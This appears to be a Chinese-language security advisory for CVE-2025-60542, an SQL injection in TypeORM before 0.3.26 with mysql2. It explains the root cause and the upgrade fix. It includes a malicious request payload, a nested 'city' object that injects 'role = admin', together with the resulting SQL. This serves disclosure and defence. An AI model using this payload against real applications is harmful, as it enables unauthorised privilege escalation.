漏洞概述
CVE-2025-60542 是一个影响TypeORM的高危SQL注入漏洞,存在于0.3.26之前的所有版本中。该漏洞允许攻击者通过精心构造的repository.save或repository.update请求执行SQL注入攻击。
受影响版本
- 受影响版本:< 0.3.26
- 已修复版本:0.3.26
漏洞详情
漏洞代码示例
1
2
3
4
5
6
7
8
|
const { username, city, name} = req.body;
const updateData = {
username,
city,
name,
id:userId
}; // 开发者意图只允许更新上述三个字段
const result = await userRepo.save(updateData);
|
正常负载示例
1
|
username=myusername&city=Riga&name=Javad
|
或
1
|
{"username":"myusername","phone":12345,"name":"Javad"}
|
生成的SQL查询:
1
2
3
4
5
|
UPDATE `user`
SET `username` = 'myusername',
`city` = 'Riga',
`name` = 'Javad'
WHERE `id` IN (1);
|
恶意负载示例
1
|
username=myusername&city[name]=Riga&city[role]=admin
|
或
1
|
{"username":"myusername","city":{"name":"Javad","role":"admin"}}
|
生成的注入后SQL查询:
1
2
3
4
5
|
UPDATE `user`
SET `username` = 'myusername',
`city` = `name` = 'Javad',
`role` = 'admin'
WHERE `id` IN (1);
|
技术原理
该漏洞的根本原因是TypeORM在使用mysql2时没有为stringifyObjects选项指定值。在mysql和mysql2中,此选项默认为false。该选项随后以false值传递给SQLString库,导致sqlstring使用objectToValues以异常方式解析对象。
安全影响
- 攻击向量:网络
- 攻击复杂度:低
- 权限要求:无
- 用户交互:无
- 影响范围:
修复方案
升级到TypeORM 0.3.26或更高版本,该版本已修复此安全漏洞。
参考链接